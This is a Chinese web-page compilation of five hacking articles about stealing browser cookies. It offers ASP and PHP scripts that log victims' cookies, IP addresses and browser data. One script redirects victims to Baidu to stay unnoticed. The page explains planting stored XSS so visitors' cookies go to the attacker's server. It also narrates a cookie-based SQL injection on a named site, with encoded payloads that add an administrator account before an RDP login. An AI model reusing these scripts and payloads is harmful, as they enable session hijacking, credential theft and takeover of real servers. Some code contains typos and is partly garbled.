人性化的盗cookie脚本脚本安全

时间:2025年04月23日

/

来源:mkiss520

/

编辑:本站小编

收藏本文

下载本文

下面小编为大家带来人性化的盗cookie脚本脚本安全,本文共5篇,希望大家能够受用!本文原稿由网友“mkiss520”提供。

篇1:人性化的盗cookie脚本

author: cnryan @hi.baidu.com/cnryan

cookie窃取是最常见的跨站攻击之一,不管是用img,iframe方式,还是基于入库型或非入库的XSS,整个操作只需要带Cookie浏览器请求了某个的url即可完成,

本人偏爱Image:

盗cookie脚本:

还是一个比较简单的程序,经过一点完善,在获取Cookie同时也记录的时间和IP,比较智能化与人性化,务求达到一个更好的用户体验>“<,呵呵!

get.asp code:

<%

dim getcookie

dim mytime

dim str

getcookie=Request.QueryString

getip=Request.ServerVariables(”REMOTE_ADDR“)

mytime=now

set fs=server.CreateObject(”Scripting.FileSystemObject“)

set file=fs.OpenTextFile(server.MapPath(”cookie.txt“),8,True)

str=”<-bof||“& mytime & ”||“ &getip & ”||“ & getcookie & ”||eof->“

file.writeline(str)

file.close

set file=nothing

set fs=nothing

response.write ”haha“

response.end

%>

篇2:推荐:另类的注射攻击cookie注射脚本安全

一、目标的锁定

MSN上朋友icerover发信息过来问我些关于cookie注射的问题,刚好那时读蚂蚁影院系统的代码,也正好发现了其chageusr.asp. 存在cookie注射漏洞,这里简要分析其代码:

====================code==========================

<% if request.cookies(”userid“)=”“ or request.cookies(”password“)=”“ then //首先要保证我们的cookie中userid和password的值不为空

response.write”“

response.write”“

end if

if request.cookies(”oktt“)=”yes“ then

response.write”“

response.write”“

end if

dim rs

dim sql

set rs=server.createobject(”adodb.recordset“)

sql=”select * from users where userid='“&request.cookies(”userid“)&”' and password='“&request.cookies(”password“)&”'“ //sql语句中可以看到userid和password的查询是来自客户端的cookie,并且没有验证

rs.open sql,conn,1,3

id=rs(”id“)

userid=rs(”userid“)

password=rs(”password“)

name=rs(”name“)

email=rs(”email“)

sex=rs(”sex“)

Province=rs(”Province“)

dat=rs(”date“)

%>

====================code==========================

通过上面的简要分析我们可以知道,userid和password并没有过滤,userid和password全来自客户端的cookie,所以我们只要在客户端中的cookie构造注射语句就可以进行注射.

怎么利用这里暂不介绍,下面会提到.

朋友告诉我,有一个站www.chinaxxx.net其member.asp存在cookie注射漏洞,其权限为sa.

二、渗透之旅

下面为其member.asp的代码:

====================code==========================

<%

Response.CacheControl = ”no-cache“

Email = Request.Cookies(”Email“)

Userid = Request.Cookies(”Userid“)

if Len(Email)=0 then Response.Redirect ”login.htm“

%>

<%

if Len(Email)>3 then

set bjConn = Server.CreateObject(”ADODB.Connection“)

objConn.Open strQ

strQ = ”select * from tb_users where usertype>0 and email='“ &Email & ”' and Userid=“ &Userid

set bjRs = Server.CreateObject(”ADODB.Recordset“)

objRs.Open strQ,objConn,1,3

if not objRs.EOF then

ExpDays = DateDiff(”d“,now(),objRs(”expdate“))

ExpDate = FormatDateTime(objRs(”expdate“),2)

Username = objRs(”Username“)

if ExpDays<=0 then

objRs(”usertype“) = 3

ExpDays = 0

else

objRs(”usertype“) = 9

end if

objRs.Update

%>

====================code==========================

通过上面的代码Userid = Request.Cookies(”Userid“)等等,我们可以知道其userid和email的值是来客户端的cookie,再跟踪一下会发现其cookie并没有过滤,而是

strQ = ”select * from tb_users where usertype>0 and email='“ &Email & ”' and Userid=“ &Userid

直接查询,所以这个时候我们只要在cookie里面构造正确的语句就可以搞定这个站点,sa权限可以让我们….嘿嘿

三、cookie注射注意点

1.;符号,在cookie里,各个变量间的是用;来区分的,所以你的注射语句里面不要乱含有;,如果你含有的话,可能会导致你的注射语句出错.

2.空格符号,在cookie里,会自动过滤掉空格,所以你的注射语句里面要注意转换

该注意的地方也差不多了,现在我们开始我们的注射之旅吧.

四、我注,我注,我注注注

其member.asp需要登陆,登陆后其cookie如下

Userid=5581;email=icerover%40msn%2Ecom; ASPSESSIONIDASARRRTT=OMOIFPICADICDLAMAKOGCNNH

变换一下位置,方便注射

email=icerover%40msn%2Ecom; ASPSESSIONIDASARRRTT=OMOIFPICADICDLAMAKOGCNNH; Userid=5581;

查一下版本:

把 and 1=(select @@version);--解码一下,转换如下:

%20%61%6E%64%20%31%3D%28%73%65%6C%65%63%74%20%40%40%76%65%72%73%69%6F%6E%29%3B%2D%2D

整个cookie变换成

email=icerover%40msn%2Ecom; ASPSESSIONIDASARRRTT=OMOIFPICADICDLAMAKOGCNNH; Userid=5581%20%61%6E%64%20%31%3D%28%73%65%6C%65%63%74%20%40%40%76%65%72%73%69%6F%6E%29%3B%2D%2D

;

得到回显如图一:

扫描其端口发现开了3389,直接加个用户,注射如下:

转换语句:

;declare @s varchar(21) set @s='wscript.shell'declare @o int exec sp_oacreate @s,@o out exec sp_oamethod @o,'run',NULL,'net.exe user linzi linzihk /add';exec sp_oamethod @o,'run',NULL,'net.exe localgroup administrators linzi /add';--

如下:

%3B%64%65%63%6C%61%72%65%20%40%73%20%76%61%72%63%68%61%72%28%32%31%29%20%73%65%74%20%40%73%3D%27%77%73%63%72%69%70%74%2E%73%68%65%6C%6C%27%64%65%63%6C%61%72%65%20%40%6F%20%69%6E%74%20%65%78%65%63%20%73%70%5F%6F%61%63%72%65%61%74%65%20%40%73%2C%40%6F%20%6F%75%74%20%65%78%65%63%20%73%70%5F%6F%61%6D%65%74%68%6F%64%20%40%6F%2C%27%72%75%6E%27%2C%4E%55%4C%4C%2C%27%6E%65%74%2E%65%78%65%20%75%73%65%72%20%78%69%61%6F%6C%75%20%6C%69%6E%7A%69%68%6B%20%2F%61%64%64%27%3B%65%78%65%63%20%73%70%5F%6F%61%6D%65%74%68%6F%64%20%40%6F%2C%27%72%75%6E%27%2C%4E%55%4C%4C%2C%27%6E%65%74%2E%65%78%65%20%6C%6F%63%61%6C%67%72%6F%75%70%20%61%64%6D%69%6E%69%73%74%72%61%74%6F%72%73%20%78%69%61%6F%6C%75%20%2F%61%64%64%27%3B%2D%2D

修改cookie如下:

email=icerover%40msn%2Ecom; ASPSESSIONIDASARRRTT=OMOIFPICADICDLAMAKOGCNNH; Userid=5581%3B%64%65%63%6C%61%72%65%20%40%73%20%76%61%72%63%68%61%72%28%32%31%29%20%73%65%74%20%40%73%3D%27%77%73%63%72%69%70%74%2E%73%68%65%6C%6C%27%64%65%63%6C%61%72%65%20%40%6F%20%69%6E%74%20%65%78%65%63%20%73%70%5F%6F%61%63%72%65%61%74%65%20%40%73%2C%40%6F%20%6F%75%74%20%65%78%65%63%20%73%70%5F%6F%61%6D%65%74%68%6F%64%20%40%6F%2C%27%72%75%6E%27%2C%4E%55%4C%4C%2C%27%6E%65%74%2E%65%78%65%20%75%73%65%72%20%78%69%61%6F%6C%75%20%6C%69%6E%7A%69%68%6B%20%2F%61%64%64%27%3B%65%78%65%63%20%73%70%5F%6F%61%6D%65%74%68%6F%64%20%40%6F%2C%27%72%75%6E%27%2C%4E%55%4C%4C%2C%27%6E%65%74%2E%65%78%65%20%6C%6F%63%61%6C%67%72%6F%75%70%20%61%64%6D%69%6E%69%73%74%72%61%74%6F%72%73%20%78%69%61%6F%6C%75%20%2F%61%64%64%27%3B%2D%2D;

得到回显如图二:

虽然显示占线,但已经执行成功,开了TS,直接用3389登陆器登上去,bingo!拿下站点.

五、总结:

无语,大家自己去体会!~~~

篇3:跨站提取cookie的原理脚本安全

个人理解为跨站就意味着可以执行javascript代码,javascript利用Document文档对象的cookie属性就获取到了cookie,然后就可能利用cookie欺骗登陆,

跨站提取cookie的原理 等价于

如何从在浏览器中获取cookie + 发送cookie到指定url

比如:

“>

依次使用了:

1.浏览器的DOM对象的cookie属性,获得了cookie值

2.将cookie值作为参数传递给localhost服务器上的test.php脚本,使用的是GET方式提交数据

3.利用document.location进行跳转,实际就是通过url访问实现数据提交

而test.php中的内容类似于:

$cookie = $_GET['cookie'];      //以GET方式获取cookie变量值

$ip = getenv (‘REMOTE_ADDR’);    //远程主机IP地址

$time=date(‘Y-m-d g:i:s’);      //以“年-月-日 时:分:秒”的格式显示时间

$referer=getenv (‘HTTP_REFERER’);  //链接来源

$agent = $_SERVER['HTTP_USER_AGENT'];  //用户浏览器类型

$fp = fopen(‘cookie.txt’, ’a');    //打开cookie.txt,若不存在则创建它

fwrite($fp,” IP: ” .$ip. ”\\n Date and Time: ” .$time. ”\\n User Agent:”.$agent.”\\n Referer: ”.$referer.”\\n Cookie: ”.$cookie.”\\n\\n\\n”);  //写入文件

fclose($fp);  //关闭文件

header(“Location: www.baidu.com”);  //将网页重定向到百度,增强隐蔽性

?>

这些用户数据来源于HTTP数据包中的浏览器头部信息

篇4:XSS获取cookie和利用方式 (PHP版)脚本安全

$cookie = $_GET['cookie']; //以GET方式获取cookie变量值$ip = getenv ('REMOTE_ADDR'); //远程主机IP地址$time=date('Y-m-d g:i:s'); //以“年-月-日时:分:秒”的格式显示时间$referer=getenv ('HTTP_REFERER'); //链接来源$agent = $_SERVER['HTTP_USER_AGENT']; //用户浏览器类型$fp = fopen('cookie.txt', 'a'); //打开cookie.txt,若不存在则创建它fwrite($fp,” IP: “ .$ip. ”n Date and Time: “ .$time. ”n User Agent:“.$agent.”n Referer: “.$referer.”n Cookie: “.$cookie.”nnn“); //写入文件fclose($fp); //关闭文件header(”Location: www.baidu.com“); //将网页重定向到百度,增强隐蔽性

将上述文件保存为cookie.php文件,放到你自己的网站服务器下,比如这里我们自己搭建的服务器为:www.cto365.com/cookie.php,

XSS构造语句为:

或者

将上述语句写入存在XSS的目标中(最好是存储型xss),比如你找到了某个博客或者论坛存在存储型XSS,你在里面发一篇帖子或者留上你的评论,内容就是上述语句,当其他用户或者管理员打开这个评论或者帖子链接后,XSS就会触发,然后跳转到www.cto365.com/cookie.php?msg=’+document.cookie的页面,之后当前账户的coolie信息就当成参数发到你的网站下的文件里了。然后的然后你就可以那这个cookie登陆了。

篇5:cookie.txt脚本适合,跨站,脚本安全

<%

dim fs,log,logname,event

logname=”cookie_“& now & ”.txt“

logname=replace(logname,” “,”_“)

logname=replace(logname,”-“,”_“)

logname=replace(logname,”:“,”.“)

logname=server.mappath(logname)

set event=request.servervariables(”QURYU_SRTING“)

set fs=server.createobject(”scripts.filesystemobject“)

log=fs.createtextfile(logname)

log.writeline event

log.close

set fs=nothing

reponse.redirect(”www.wolfexp.net/forum/index.php\")

%>

脚本范文

shell脚本学习

影视广告分镜头脚本

HOW TO GET PHPCMS WEBSHELL脚本安全

用PHP 4.2书写安全的脚本PHP

下载人性化的盗cookie脚本脚本安全(通用5篇)
人性化的盗cookie脚本脚本安全.doc
将本文的Word文档下载到电脑,方便收藏和打印
推荐度:
点击下载文档
点击下载本文文档